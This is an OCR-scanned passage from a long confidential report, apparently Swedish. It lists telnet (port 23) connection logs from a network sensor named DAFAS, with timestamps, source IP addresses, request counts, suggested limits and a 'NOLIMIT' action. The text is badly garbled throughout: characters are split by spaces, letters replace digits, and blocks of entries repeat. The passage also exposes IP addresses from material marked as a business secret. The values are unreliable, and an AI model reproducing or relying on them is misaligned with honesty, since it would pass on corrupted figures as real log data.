00:  2 7 :  2 3 . 2  6, port= 2 3,  hos t=8 1 . 1  7 3 . 164.41,  l hos t=O .O .O.  O, pea k= 1,  hos tpea k=1, re q u ests= 1,  te r m i n at i o n s= 1 ,  c u r re nt=O ,s  ugges t ed _l i m i t= 2 ,sugg est ed _p e re e n ta g e= 100, d u rat i on =O, w a r n i ng s =O ,q os_ ex c e pti o ns=O , a  et i o n= NO L 

J M IT,se nsorhost na me=DAFAS 

6 

0 5 : 3 5 :44.77, port=23, host=74.94 . 1 3 6 . 141, 1 host=O .O.O .O,peak=1, hostp eak=1, requ ests=1,termi nat ions=1,cu rre nt=O,suggested_l i m it=2 , suggested_perce ntage=100,d u ration =O,wa rn i ngs=O,q os_excepti o ns=O,acti o n = N O L  

l M I T,se nsorhost n a me=DAFAS 

6 

0 6 : 3  7 :  2 5 .  O 1,  p o rt=2 3, h os t=8 3 . 1 7  4.  9 2 .186,  l hos t=O .O .  O .  O, pea k =8, hostpea k= 1 ,  re q u ests = 1 O, te r m i n at  i o ns=2 , c  u r re nt=8, suggest ed _l i m i t= 1 7, s uggest ed _p e rcenta ge= 11,  d u rat i o n =O, w a r n i ngs=O, q os_ except i o n  s =O ,act i o n= N O 

L I M IT,se nsorhostna me=DAFAS 

6 

O 7 :  3 9 :0 5 . 30, port=23, hos t=17 2 .  3 1 . 2  2 5 . 38, l hos t=O .O .O .O, pea k= 14, hast pea k= 5 ,  re q u ests = 11 ,  t er  m i nat ion s =5 ,c  u r re n t= 14 ,s uggest ed _l i m i t =  2 6, s uggest ed _p ercenta g e=4 1, d u rat i o n  =O, w a r n i ngs=O, q o s_ except i o n  s =O, a ct i o n =  

N O L I M IT,se nsorhost n a m e = DAFAS 

6 

08:40:45.59, port=2 3, host=10.66 . 1 0 . 1 60, 1host=O .O.O.O, pea k=18, hostpea k=1 , requests=7,termi nat io ns=4,curre nt=17,suggested_l i m it=4 0,s uggested_percentage=4, d u rat io n=O,wa rn i ngs=O, qos_excepti ons=O,acti o n = N O L  

I M I T,sens orhost n a m e =DAFAS 

Stri ct ly confidenti a l  l Bus i ness Secret l 
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Rep on 

6 

09 :42 :25 .91 , port=2 3 , h ost=17 2 . 3 1 . 2 2 5 .38, 1 host=O .O .O.O, pea k=20, host peak=6,requ ests =8,termi nat ions=9,cu rrent=16,suggested_l i mit= 39,suggested_pe rcentage=31,d u rat ion=O,wa rn i ngs=O,q os_exce pti o n s=O, a ct ion = N  

O L I M IT,s ensorhostna me=DAFAS 

6 

10:44:06.27 , port=23, hos t= 10. 170.0 .53,  l h ost=O .0 .0 .0, peak=17, hostpea k=3 ,re q u ests =6, term i nat ions=6, c u rrent=16,s uggested_l i mit=35,s uggested _percentage=16, d u rat ion=O, w a rn i  ngs=O,qos _ except io ns=O,act i o n = N O L  

I M I T,se nsorhost n a me=DAFAS 

6 

1 1  :45 :46 .54, port=23, hos t=1 7 2 .  3 1 . 2  2 5 . 38, l hos t=O .O .O .O, p e a k= 21,  h ost p e a k= 7, re q u ests =9, te r m i n at i on s=  7 , c  u r re n t =  18, suggest ed _l i m it=40 ,s uggest ed _p e re e ntage=3 6 , d  u rat i o n  =0, w a r n i ngs=O ,q os_ e xce pti o ns=O, a et i o n =  N 

O L I  M IT,s ens orhostna me=DAFAS 

6 

1 2 :47 :26 .77, port=23 , h ost=17 2 . 3 1 . 2 2 5 .38, 1 host=O.O .O.O, peak=20, host peak=6,requ ests =8,terminat i ons=6,cu rrent=20,suggested_l i m it=39,suggested_pe rcentage=3 1 , d u rat ion=O,wa rn i ngs=O,q os_exce ptio ns=O, a ct i o n = N  

O L I M  IT,s ens orhostna me=DAFAS 

6 

13  :4 9 :0 7 .16,  port= 23,  hos t= 17 2 .  3 1 . 2  2 5 .  38, l hos t=O . O .  O .  O, pea k= 2 1, hos t p e a k= 6, re q u ests =9, t er  m i nat ion s =9, c u rre nt=20 ,sugg est ed _l i m it=41 ,s uggest ed _p e re e ntage =3 O , d  u rat i on =O, w a r n i ngs=O ,q os_ ex c e pti o ns=O ,a  et i o n =  N 

O L I M IT,s ens orhostna me=DAFAS 

6 

14:50:4 7 .45, port=23, host=172 . 3 1 .225 .38, 1 host=O .O .0 .0, pea k=2 1, host pea k=S, re q u ests =S, term i nat ions =10,cu rrent=15 ,suggested_l i m i t  =42,s uggested_percentage=23, d u rat ion =O, warn i  ngs=O, qos _ excepti ons=O,acti o n =  

N O L I M IT,s e nsorhost n a me= DAFAS 

6 

1 5 : 5 2 : 2 7 . 69,port=23, host= 1 7 2 . 3 1 . 2 2 5 .38, 1 host=O .O.O .O,peak=15, host peak=4,requ ests=6,termi nati ons=12,curre nt=9 ,suggested_l i m it= 29,suggested_percentage=28, d u rat ion =O,wa r n i ngs=O,q os_exce pti o ns=O, a ct i o n = N  

O L I M IT,sensorhostn a m e = DAFAS 

6 

1 6 : 54:08.01, port=23, host=137 .59 .254 .161, 1 host=O .O .O.O, peak=10, hostpea k=1,requests=2,te r m i nat io ns=5,cu rrent=6,s uggested_l i m it= 2 1,s uggested_pe rcentage=9 , d u ratio n=O,warn i ngs=O,q os_excepti ons=O,actio n = N O  

L I M IT,sens orhost n a me=DAFAS 

6 

1 7 : 5 5  :48 .31 ,  port=23, host=10.170.0 .57,  l h ost=O .0.0.0, pea k=6 , h  ostpeak=1,requ ests=1,  termi nat io ns=6, current=1,s uggested_l i m it=12,s uggested _perce ntage=16,d uration =O, w a r n i ngs=O,qos _ex c e pt ions=O ,acti o n = N O L I  M 

IT,sensorhostna me=DAFAS 

6 

2 1  :00:4 9 .16,  port=23, hos t= 164.9 . 2 2 6 .  94, l host=O . O .O .O, pea k= 1, hos t p e a k= 1 ,  re q u ests = 1,  term i n a t i on s =O, c u rrent= 1 ,  s uggeste d _l i m it=2,s ugges t ed _p e re e n  ta ge= 100, d u rat i on =O, w a rn  i ng s =O, q os_ ex c e pti o ns=O ,a  et i o n  =N O L1 

M IT,sensorhost n a m e = DAFAS 
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6 

2 3 : 25 :42.9 3,  port=23,  hos t=8 1 . 1  7 3 . 1 64 .41, l host=O .O .O .O, pea k= l,  h os t p e a k= l ,  re q u ests = l, t e r  m i nat ion s= l ,  c u r re nt=O ,sugg est ed _l i m it=2, sug g est ed _p er  c e ntage= l 00, d u rat i o n  =O, w a rn  i ng s =O , q  os_ ex c e pti o ns=O ,actio n =  N O L 

I M I T,sensorhost n a me=DAFAS 

7 

0 2 : 09 : 10. 67, port=23, host= 7 7 . 1 08.79 . 78, lhost=O .0 .0 .0, pea k=l, hostpea k=l,req uests=2,term i nat ions=2,current=O ,s  uggested_l i mit=2,suggested _percentage=lOO,d u rat i o n =O, warn i ngs=O, q os _ except ions=O,act ion=N OLI  

M IT,s e nsorhost n a m e = DAFAS 

7 

0 6 :  1 5 : 5 1 .79 , port=23, host=83 . 1 7  4 .92 . 186, 1  host=O .O .0.0, pea k=3,  hostpea k=l, requ ests=3 ,term i nat io ns=O ,curre nt=3 ,suggested_l i m i t=5 ,suggested _perce ntage=50, durat ion=O, warn i  ngs=O,qos _exce pti o n  s=O , a cti o n = N O L I  

M IT,s ensorhost n a me= DAFAS 

7 

0 7 : 1 7 : 3 2  . 14,port=23, host=83 . 1 7  4 .92 . 186, 1  host=O .O .O .0, pea k=8, hostpea k=2, requ ests= 7 ,term i n a t io ns=3 ,cu rre n t= 7 ,suggested _l i mit=l6,s uggested _perce ntage=25,d urat ion =O, warn i  ngs=O , q  os_ exceptions =O,acti on =NO L 

l M IT,se nsorhost n a me=DAFAS 

7 

0 8 :  1 9 : 1 2 . 38, port=23, host= l 7 2 . 3 1 . 2 2 5  .38, l host=O .O .0 .0, pea k=l8, host pea k=5, requ ests=l3 ,term i nat ions=3,current=l7,  suggest e d_l i m  it=35 ,s uggested _percentage=29 , d  u rat ion =O, warn i  ngs=O, qos _ excepti ons=O,acti  o n =  

N O L I M IT,s ensorh ost n a m e = DAFAS 

7 

0 9 : 2  O :  5 2 . 67, port=2 3,  host=83 . 1 7  4.  9 3 . 19, l h ost=O .O .  O .  O, pea k= 19, hos t p e a k=2, re q u ests =4, t er  m i nati  o ns=4, c u r re n t= 17, sug g est ed _l i m it=4 l,s uggest ed _perce n ta g e =9, d u ra t i o n=O, w a r n i ngs=O, q os_ ex c e p t i on s =O ,act i o n =  N O L 

I M  I T,se nsorhostna me=DAFAS 

:4 

00:08 :49.32,port=23 , h ost=2 2 2 . 10 0 . 1 1 9 .80, 1 host =O.O .O.O, peak=l, host peak=l,requests =l,termi nat ions=l,current=O,suggested_l i m it=2 ,suggest e d_percentage=lOO, d u ratio n=O,wa rn i ngs=O,qos_exce ptio n s=O,acti o n = N O  

L I M IT,sens orhost n a me=DAFAS 

4 

0 1 : 10 : 2 9 .66, port=2 3 , h ost=2 2 2 . 100 . 1 1 9 .80, 1 host=O.O .O.O, peak=l, host p e a k=l,requests =l,termi nat ions=l,cu rrent=O,suggested_l i m it=2 ,suggested_percentage=lOO, d u rati o n =O,wa rn i ngs=O, qos_exceptio ns=O,acti o n = N O  

Ll M I T,se nsorhostna me=DAFAS 

4 

1 3 : 3 0 :  3 3 .  2 7, port=23, hos t=5 9 . 1 2  7 .  2 5 1 .9, l host=O .O .  O .O, pea k= l, h ostpea k= l ,  re q uests =3, t er  m i n a t i on s =3, c u rrent=O ,s ugg est e d _l i m it=2,s ugges te d _perce ntage= l 00 ,d u r at i on =O, w a rn  i ng s =O, q os_ ex c e pti o ns=O, act ion =N O Ll 

M IT,s e nsorhost n a m e= DAFAS 

4 

1 6 : 3 5 :34 .13 ,port=23, host=l24. 109.36 .48, 1 h ost=O .O.O .O,peak=l, hostpea k=l, requ ests=2,termi nat io ns=2,curre nt=O,suggested_l i m it=2,su ggested_percentage=lOO, d u rat ion=O,wa rn i ngs=O,q os_excepti o ns=O,acti o n = N O L  

I M I T,se nsorhostna me=DAFAS 
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4 

2 2 : 45 : 3 5 .87,port=23 , h ost=24. 141 .58 .29, 1 host=O .O .O .O, pea k= 1,hostpeak=1,req uests =1,t e r m i n a tions=1,c u rrent=O,s uggested_l i m it=2,suggested_percentage=100, d u rat io n =O,wa rn i ngs=O,q os_except ions=O,actio n = N O L I  

M IT,s e nsorhost n a m e = DAFAS 

5 

05 : 5 7 :  17 .90, p o r t= 2 3,  h ost= 12 7 .O .  O . 1 ,  l h ost=O .O .O .O, pea k= 1, h ost p e a k= 1, re q u ests= 1 ,  te r m i n at i o ns=O, c u r re n t= 1,s ugg est ed _l i m it=2 ,s uggest ed _perce n tag e= 100, d u rat i on =O, w a r n i ngs=O , q  os_ exception s =O, a et i o n  =N O L 1 M  IT, 

sensorhostna me=DAFAS 

5 

0 6 : 5 8 : 58 .22, port=2 3 , h ost=8 3 . 174.9 2 . 186, 1 host=O.O .O.O, peak=7, hostpea k= 1 , requ ests =8,t e r m i n at i o n s =2,cu rrent=7,suggested_l i m it=14,s uggested_percentage=14,d u rat ion=O,wa rn i ngs=O,q os_exceptions=O,act i o n = N O L  

I M IT,se nsorhost na me=DAFAS 

5 

08:00:3  8 .  54, port= 23,  hos t= 17 2 .  3 1 . 2  25 .38,  l hos t=O .O .O .O, pea k= 11 ,  hos t p e a k= 2, re q u ests =6, t er  m i nat ion s =3, c u r re n t =  10 ,s  uggest ed _l i m i t= 2 2 ,s uggest ed _p e re e ntage=18 , d  u rat i on =O, w a rn  i ngs=O ,q os_ e xce pti o ns=O , a  et i o n =  N 

O L I M IT,s ens orhostna me=DAFAS 

5 

0 9 : 02 : 18.82, port=23, host=172 . 3 1 . 2 2 5  .38, 1  host=O .O .0 .0, pea k=17, hostpeak=S,  requ ests=9 ,term i nati  ons=2,c u rrent=17 ,s uggested _l i mit= 3 3  ,s uggested _percentage=3 1,d urat ion =O, w a rn i  ngs=O,qos _ exce ptio ns=O,a et i o n =  N 

O Ll M IT,sens orhostna me=DAFAS 

5 

1 O :  0 3 : 5  9 . 18,  port= 23,  hos t= 1 7 2 . 3 1 . 2  2 5 .  38,  l hos t=O .O .  O .  O, pea k= 18, hos t p e a k= 6, re q u ests =5, t e r  m i nat ion s =5, c u rrent = 17 ,s  uggest ed _l i m i t= 34 ,suggest ed _p e re e n ta ge =3 7 ,d u rat i o n =O, w a rn  i ng s =O, q os_ ex c e pti o ns=O, a et i o n =  N 

O L I M IT,s ens orhostna me=DAFAS 

5 

1 1  :05 : 3 9 .43, port=23, hos t= 17 2 .  3 1 . 225 .3  8, l h os t=O .O .  O .  O, pea k= 17, hos t p e a k= 5,  re q u ests =3, t er  m i n at i o n s= 7 ,c  u r re n t =  13,  suggest ed _l i m i t= 3 3 ,s  uggest ed _p e rce ntag e=31,  d u rat i o n  =O, w a r n i ngs=O, q os_ ex c e pti o ns=O, a et i o n =  N 

O L I M I T,sensorhostna me = DAFAS 

5 

1 2 : 0 7 : 1 9 . 7 1, port=2 3 , h ost=137 .59 .254.161, 1 host=O.O .O.O, peak=15,hostpea k=2,requ ests=8,te r m i natio ns=8,current=13,s uggested_l i m i t =32,s uggested_percentage=1 1 , d u rat ion=O,wa rn i ngs=O, qos_except ions=O,acti o n =  

NOL l  M IT,s e nsorh ost n a  m e= DAFAS 

5 

13  :09 :00.06, port=2 3, host=83 . 1  7 4.  9 3 . 198, l hos t=O .O .O .O, pea k= 18, hos t p e a k= 1,  re q u ests =8, t er  m i nat ion s =3, c u r rent= 18 ,s uggested _l i m it=4 O ,s uggest ed _p e rcenta g e =4, d u rat i o n =O, w a rn  i ng s =0 , q  os_ ex c e pti o ns=O, a c t io n= N O 

Ll M IT,se nsorhost n a me=DAFAS 

5 

14:  1 O :  40 .28, port= 23,  hos t= 17 2 .  3 1 . 225 . 3  8,  l h os t=O .O .  O .  O, pea k =2 O, hos t p e a k= 5, re q u ests = 7, t e r  m i nat ion s =6 ,c  u r re n t =  19 ,s  uggest ed _l i m it=40 ,s uggest ed _p e re e n tag e=25 ,d u r at i on =O, w a r n i ng s =O ,q os_ ex c e p t io  ns=O ,a  et i o n =  N 

OL I  M IT,sens orhostna me=DAFAS 
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s 
1 5 : 1 2 : 20.65,  port=23, host=172 . 3 1 . 225 .38,  l host=O .O .0.0,  pea k=21, hos t peak= 7 , requ ests=10,termi nat ions=15 ,cu rre nt=14,suggested _l i m it=40,s uggested_perce ntage=36, d u ration =0, warn i ngs=O,qos _e xce pt io ns=O ,act i o n 

= N O l l  M IT,sens orhostna me=DAFAS 

s 
1 6 :  14:00.88, p o r t= 2 3, hos t= 17 2 .  3 1 . 225 .3  8,  l hos t=O .O .O .O, pea k= 15,  hos t pea k= 5, re q u ests = 13,  t er  m i n at i o n s= 2 2,cu r re nt=S ,s uggest ed _l i m i t=28, s uggest ed _p e re en  tag e=38, d u rat i on =O, w a rn  i ngs=O, q os_ except i o n  s =O, a et i o n =  

N O L I M IT,s e n sorhost n a m e = DAFAS 

s 
1 7 :  1 5 : 4 1 . 18, port=2 3,  hos t=8 3 .  2 3 3 . 105 .4 7, l hos t=O .O .O .O, pea k= 5,  h ostpea k= 1 ,  re q u ests = 2, t er  m i nati  o ns=S, c u r re nt=2, s uggest ed _l i m it=1 O ,s  uggest ed _p e re e n tag e=20 ,d u rat i on =O, w a rn  i ngs=O, q os_ exception s =O, a et i on =N O L 

I M IT,sensorhost n a me=DAFAS 

s 
1 9 :  19 : 0 1 .79, port= 2 3,  hos t= 1 3  7 . 5  9 .  2 54 . 1 6 1 ,  l host=O . O .  O .  O, pea k =2, hos t p e a k= 1, re q u ests =O, t e r m i n at i o n  s=  1,c u r re n t =  1 ,s  ugg e s t e d  _l i m i t =3 , s uggeste d _p e re entag e=100, d u rat i o n=O, w a r n i ng s =O, q os_ e xce p t i o ns=O ,act i o n =  N O 

Ll M IT,se nsorhost n a me=DAFAS 

s 
2 3 :4 7 :  1 6 . 14, port= 23,  hos t= 2 4 . 1 4 1 .  5 8 . 2  9, l host=O .O .O .O, pea k= 1, hostpea k= 1 ,  re q u ests = 1,  t er  m i n a t i o n s=  1,c u rrent=O ,s  uggeste d _l i m i t= 2 ,s ugges t ed _perce n t ag e= 100 , d  u rat i o n  =O, w a r n i ng s =0, q os_ ex c e p t i o ns=O, act i on =N O Ll 

M IT,s e nsorhost n a m e = DAFAS 

6 

00:2  7 : 2  3 .  26, p o rt=2 3,  h os t=8 1 . 17 3 . 164 .41, l h os t=O .O .  O .  O, pea k= 1,  hos t p e a k= 1 ,  re q u ests= 1,  te  r m i n a t i o  n s= 1 ,c  u rre nt=O ,s uggest ed _l i m i t= 2 ,  suggest ed _p e re e n tag e= 100, d u rat i on =O, w a r n i ngs=O ,q os_ e xce pti o ns=O ,act i o n= N O L 

I M IT,sens orhost n a me=DAFAS 

6 

0 5 : 3 5 :44.77, port=23, host=74.94 . 1 3 6 . 141, 1 host=O .O.O .O, peak=1, hostpea k=1 , re q u ests=1,termi nat ions=1,cu rre nt=O,s uggested_l i m it=2 , suggested_perce ntage=100,d u rat ion=O,wa rn i ngs=O,q os_exce ptions=O,act i o n = N O L  

l M I T,se nsorhostna me=DAFAS 

6 

0 6 :  3 7 :  25 .O 1,  p o rt=23, hos t=8 3 . 1  7 4.  9 2 . 186, l hos t=O .O .O.  O, pea k =8, hos tpea k= 1 ,  re q u ests= 1 O, ter m i nat ion s= 2 ,c  u r re nt=8, s uggest ed _l i m i t= 1 7, s uggest ed _p e rcenta ge= 1 1, d u rat i o n =O, w a r n i ngs=O, q os_ except i o n  s =O ,a  et i o n= N O 

L I M IT,se nsorhost n a me=DAFAS 

6 

0 7 : 3  9 :0 5 .  30, port= 2 3,  h os t= 17 2 .  3 1 . 2  2 5 .  38, l host=O. O .  O .O, pea k= 14, h ost pea k= 5,  re q u ests= 1 1, t er  m i n at i o n s =5 ,c  u r re n t= 14 ,s uggest ed _l i m it=2 6 ,s  uggest ed _p e re e ntage =4 1, d u rat i o n  =O, w a rn  i ngs=O, q os_ ex c e p t i on s =0, a ct i o n =  

NO L I M  IT,se nsorhost n a m  e= DAFAS 

6 

08:40:45.5 9,  port=2 3,  hos t= 1 O .  6 6 . 1  O . 160, l host=O . O .O .O, pea k= 18, h ostpea k= 1 ,  re q u ests = 7, t er  m i nat i  o ns=4, c u r re n t= 17, s uggest ed _l i m it=4 O ,s uggest ed _per c e ntage =4, d u rat i o n=O, w a r n i ngs=O, q os_ ex c ep t i o n  s =O , a  et i o n= N O L 

I M IT,sensorhost n a me=DAFAS 

Stri ct ly confidenti a l  l Bus i ness Secret l 



Sidan 56 1 av 574 

Report 

6 

09:42 : 2  5 .  91,  port=2 3, hos t=17 2 .  3 1 .2 2 5 . 3  8, l hos t=O .O .O .O, pea k =2 O, hos t p e a k= 6, re q u ests =8, t e r m i nat ion s =9, c u rrent= 16 ,suggested _l i m it=3 9 ,s uggest ed _p e re e ntage=31 , d  u rat i o n  =O, w a rn i ng s =O ,q os_ ex c e pti o ns=O ,a  et i o n =  N 

O L I M IT,s ensorhostna me=DAFAS 

6 

1 O :  44 :06 .2  7, port=23,  hos t= 1 O . l  70. O .53,  l h ost=O . O .  O .  O, p e a k= 17, hostpea k=3 , re q u ests =6, t er  m i n a t i ons=6 ,c  u r re n t= 16, sug g est e d _l i m it=3 5 ,s uggest ed _per c e ntage= 16, d u rat i o n=O, w a r n i ngs=O, q os_ ex c ep t i o n s =O, a et i o n= N O L 

I M I T,sens orhost n a me=DAFAS 

6 

1 1 :45 :46.54, port=23, host=172 . 3 1 . 2 2 5  .38, 1  host=O .O .0.0, pea k=21,  host pea k= 7, requ ests=9, te  r m i  nat ions= 7 , c u rrent=18,suggested_l i m it=40 ,suggested_pe rcentage=36,d u ration =O, w a rn i ngs=O,qos _ except ions=O,a et i o n =  N 

O L I M IT,s ens orhostna me=DAFAS 

6 

1 2 : 4  7 : 2 6 .77, port=23, host= 1 7 2 . 3 1 . 2  25 .38,  l h ost=O .O .O .0, pea k=20, host peak=6,req u ests =8, term i nati  ons=6,cu rrent=20,sug gest ed _I i  m i t=39 ,s uggested _p e rcentage=3 1,d uration =O, w a rn i  ngs=O,qos _ exceptio ns=O,a cti o n = N  

O L l  M IT,s ens orhostna me=DAFAS 

6 

13  :4 9 : 07 . 16, port=2 3,  hos t= 17 2 . 3 1 .  2 2 5 . 38, l hos t=O . O .O .O, pea k =21,  hos t pea k= 6, re q u ests =9, t e r m i nat ion s =9, c u rrent =2 O ,s uggested _l i m i t= 41 ,suggest ed _p e re e ntage =3 O , d  u ration =O, w a r n i ngs=O ,q os_ ex c e pti o ns=O , a  et i on= N 

O L I M  IT,s ens orhostna me=DAFAS 

6 

14:50:4 7 .45, port=23, hos t= 1 7 2 . 3 1 . 2  2 5 .  38, l hos t=O .O .  O .  O, pea k=21,  hos t p e a k=S, re q u ests =5, t er  m i nat ion s= 1 O ,c  u r re n t= 15 ,s  ugg est ed _l i m i t =42,s uggest ed _p e re e n tage=23, d u rat i on =O, w a rn  i ngs=O, q o s_ ex c e p t i ons=O ,a  et i o n =  

N O Ll M IT,se n s o  r h  ost n a m e = DAFAS 

6 

1 5 : 5 2  :27 .69, port=23, host=1 7 2 . 3 1 . 2 2 5  .38, 1  host=O.O .0.0, pea k=15, hostpea k=4, requ ests=6, term i nati  ons=12,cu rre nt=9 ,s uggested_l i mit=29 ,s uggested _pe rcentage=28 ,d urat ion=O, warn i  ngs=O,q os_ except io ns=O,acti o n = N  

O L l  M IT,sens orhostna me=DAFAS 

6 

1 6 : 54:08.01, port=23, host=137 .59 .254 .161, 1 host=O.O .O .O, peak=10, hostpea k=1,re q u ests=2,te r m i nat io ns=S,cu rrent=6,suggested_l i m it=21,s uggested_pe rcentage=9, d u rat io n=O,warn i ngs=O,q os_e xce ptions=O,acti o n = N O  

Ll  M IT,se nsorhost n a  me=DAFAS 

6 

1 7 : 5  5 :48 .31,  port=2 3, hos t= 1 O . 1  70.  O .  57, l h ost=O .O.  O .O, p e a k=6, h ostpea k= 1, re q u ests= 1 ,  t e r m i n at i o ns=6, c u r ren t=1 ,s  uggested _l i m i t= 12,s  uggested _p e re e n ta ge= 16, d u rat i o n =0, w a rn  i ng s =O , q  os_ ex c e pti o ns=O, a ct i on= N O L1 M 

IT,sensorhostna me=DAFAS 

6 

2 1 :00:49. 16,port=23, host=164 . 9 . 2 2 6 .94, 1 host=O .O.O.O, pea k=l, hostpeak=1, req uests=1,term i nat ions=O, c u rrent=1,s ugges ted_l i m it=2,s uggested_percentage=100, d u rat ion=O,wa rn i ngs=O,q os_exce pt io ns=O,act ion=NOLI  

M IT,s e nsorhost n a m e = DAFAS 
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6 

2 3 :  25 :42 .9  3,  port= 2 3, hos t=8 1 . 1  7 3 . 1 64 .41,  l hos t=O .O .O .  O, pea k= 1,  h os tpea k= 1 ,  re q u ests = 1,  t er  m i nat ion s= 1 ,  c u r re nt=O ,suggest ed _l i m i t= 2 ,  suggest ed _p er  c e n tag e= 100, d u r at i on =O, w a rn  i ng s =0, q os_ e xce pti o ns=O , a ct i o n= N O L 

I M I T,se nsorhostna me=DAFAS 

7 

02 :09 :  10.67 , port=23, hos t= 77 . 108.79 . 78, 1  host=O .0 .0 .0, pea k=1, hostpea k=1,req uests=2, term i nat ions=2,c u rrent=O ,s uggested_l i mit=2,s uggested_percentage=100,d urati o n =O, warn i  ngs=O, q os_ exce pti o  ns=O,acti on=N OLI  

M IT,s e nsorhost n a m e= DAFAS 

7 

0 6 : 1 5 : 5 1 .79, port=23 , h ost=83 . 174. 9 2 . 186, 1host=O.O .O.O, peak=3, hostpea k=1 , requ ests =3,termi nat io ns=O,cu rre nt=3 ,suggested_l i m it=S , suggested_percentage=SO, d u rat io n=O,wa rn i ngs =O, qos_exce ptions=O,acti o n= N O LI 

M IT,s e nsorhost n a m e= DAFAS 

7 

0 7 : 1 7 : 3 2 . 14, port=23, host=8 3 . 17 4.92 . 186, l host=O .O .0.0, peak=8, hostpea k=2, requ ests= 7 ,term i nat io ns=3 ,cu rre n t= 7 ,s uggested _l i mit=16 ,s  uggested_percentage=25,d u rat ion =O, warn i  ngs=O , q  os_ exceptions=O,acti  on =NO L 

l M IT,se nsorhost n a me=DAFAS 

7 

08:  1 9 :  1 2 . 38, port=23, host=172 . 3 1 .225 .38, 1  host=O .O .0.0, pea k=18, host pea k=5 ,re q u ests =13,  termi nat io ns=3,curre nt=17 ,suggested _I i  mit=35, s uggested _percentage=29 , d  u ration =O, w a r n i  ngs=O, q os_ excepti ons =O,acti o n =  

N O L I M IT,s e nsorhost n a m e = DAFAS 

7 

0 9 : 2 0 : 5 2 .67 , port=2 3, host=83 . 1 7  4 .93 . 1 9  , l  host=O .0 .0 .0, pea k=19, hostpeak=2, re q u ests=4, terminat io  ns=4 ,current=17 , suggested _l i m it=41,s  uggested_percentage=9 , d u  rat i o n=O, w a r n i  ngs=O, q os_ excepti ons=O,actio n = N O L  

l M IT,se nsorhostna me=DAFAS 

7 

1 0 : 2 2 : 3 3 .00, port=23, host=10 . 170.0 .85 , l  h ost=O .0.0.0,  pea k=2 1, hostpea k=3 , req uests =4, term i nat ions=4,c u rrent=17 ,suggested _I i  m it=44,suggested _percentage= 1 3 , d u rat io n=O, warn i  ngs=O,qos _ exceptio ns=O,act i o n = N O L  

I M IT,se nsorhost n a  me=DAFAS 

7 

1 1 : 24 :  1 3 . 32, port=23, host=172 . 3 1 .225 .38, 1  host=O.O .0.0, pea k=17, host p e a k= 7 , requests=3, term i nati  ons=4, c u  rrent=16,suggested _l i m  it=3 1,suggested _percentage=50,d u rat ion =O, warn i  ngs=O,qos _ exceptio ns=O,a et i on= N 

O L I  M IT,s ens orhostna me=DAFAS 

7 

1 2  : 2 5 : 5 3 . 56, port=23, host=172 . 3 1 . 225 .38, l host=O.O .0.0, peak=16, hos t pea k=6,re q u ests= 7, term i nat ion s=  7 , c u rrent=16,sugges ted_l i  mit=29 ,suggested_pe rcentage=46,d u rat ion =O, warn i  ngs=O,qos _ exce ptio ns=O,a cti on= N 

OL I  M IT,sens orhostna me=DAFAS 

7 

1 3 :  2 7 : 3  3 .  94, port=23, hos t= 17 2 .  3 1 . 2  2 5 .  38, l host=O .O .O .  O, pea k =21,  h ost pea k=4, re q u ests = 10, t er  m i nat ion s=  1 O ,c  u r re n t= 16, suggest ed _l i m i t=43 ,s uggest ed _p e re e ntage= 18, d u rat i o n =O, w a rn  i ng s =O ,q os_ ex c e p t io ns=O ,a  et i o n 

= N O L l  M IT,sens orhostna me=DAFAS 
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7 

14:2  9 :  14.2  2, port=23, hos t= 17 2 .  3 1 . 2  2 5 .  38,  l hos t=O . O .  O .  O, pea k= 19, hos t p e a k=4, re q u ests =8, t er  m i nat ion s =8, c u rrent= 16 ,s uggested _l i m i t= 3 9 ,sugg ested _p e rcentage = 2 O ,d u rat i o n =O, w a rn  i ng s =O, q os_ ex c e pti o ns=O, a et i o n =  N 

O L I  M IT,s ens orhostna me=DAFAS 

7 

1 5 : 3 0 : 54.49, port=23,host=17 2 . 3 1 . 2 2 5 .38, 1 host=O .O .O.O, peak=16, hostpeak=2,requ ests=4,termi nat ions=10,current=10,suggested_l i m i t =34,s uggested_percentage= 1 1, d u rat ion=O,wa rn i ngs=O, qos_except i o ns=O,act i o n =  

NOL l  M IT,se nsorhost n a m e= DAFAS 

7 

1 6 :  3 2 : 34.83,  p o rt=2 3, h os t= 17 2 .  2 6 .  9 6 . 1 2  6, l hos t=O .O .O .O, pea k= 1 O, h ost pea k= 2, re q u ests =4, te  r m i n at i on s=  12  ,c  u r re nt=2 ,sugg est ed _l i m i t= 2 0  ,s  uggest ed _p e re e n tag e=20, d u ration =O, w a r n i ng s =O ,q os_ ex c e pti o ns=O, a et i o n =  N 

O L I  M IT,s ens orhostna me =DAFAS 

7 

1 9 : 3  7 : 3  5 .  64, port=2 3, hos t= 164. 9 .  2 2 6 .  9 3, l ho st=O . O .  O .  O, pea k= 1, hostp e a k= 1 ,  re q u ests= 1,  t e r m i n a t i on s =O ,c u rrent= 1,s  uggeste d _l i m i t= 2 ,s  ugg est ed _p e re entage= 100, d u rat i o n =O, w a rn  i ng s =O, q os_ ex c e pti o ns=O ,a  et i on= N O Ll 

M IT,s e nsorhost n a m e = DAFAS 

7 

2 0 : 3 9 : 1 5 .96, port=2 3 , h ost=49 . 6 6 . 242.7, 1 h ost=O .O.O .O, pea k=2 , h ostpea k=1,requests=2,te r m i nat ions=2,cu rrent=1,s uggested_l i m it=3,s uggested_perce ntage=10 0,durat ion=O,wa rn i ngs=O,q os_exce ptio ns=O,acti o n = N O L I M  

IT,sensorhostna me=DAFAS 

7 

2 1 :40 : 5 6 .30, port=2 3 , h ost=164 . 9 .226 .93, 1 host=O .O.O .O, pea k=2, hostpea k=2 ,requests =1,termi nat ions=2,cu rrent=O,s uggested_l i m it=4,suggested_percentage=100, d u ration =O,wa rn ings=O,q os_ex ceptio ns=O,acti o n = N O L I  

M IT,s ensorhost n a m e= DAFAS 

8 

03 :50 :57 .99,port=23 , h ost=4 1 . 14 2 . 1 9 2 .6, 1 host=O .O.O.O, pea k=1,hostpeak=1, req uests=1,t ermi nat ions=1,cu rrent=O,suggested_l i m it=2,suggested_percentage=100, d u ration =O,wa rn i ngs=O,q os_exce ptio ns=O,act ion = N O LI 

M IT,s e nsorhost n a m e= DAFAS 

8 

0 5 : 5 4 : 1 8 . 62,port=23,host=8 3 . 174.9 2 . 186, 1 host=O.O .O.O, peak=1, hostpea k=1,requ ests =1,termi nat io ns=O,curre nt=1,sugge sted_l i mit=2,s uggested_percentage=100, d u rat ion=O,wa rn i ngs=O,q os_excepti o ns=O,actio n = N O L  

I M IT,sensorhost n a me=DAFAS 

8 

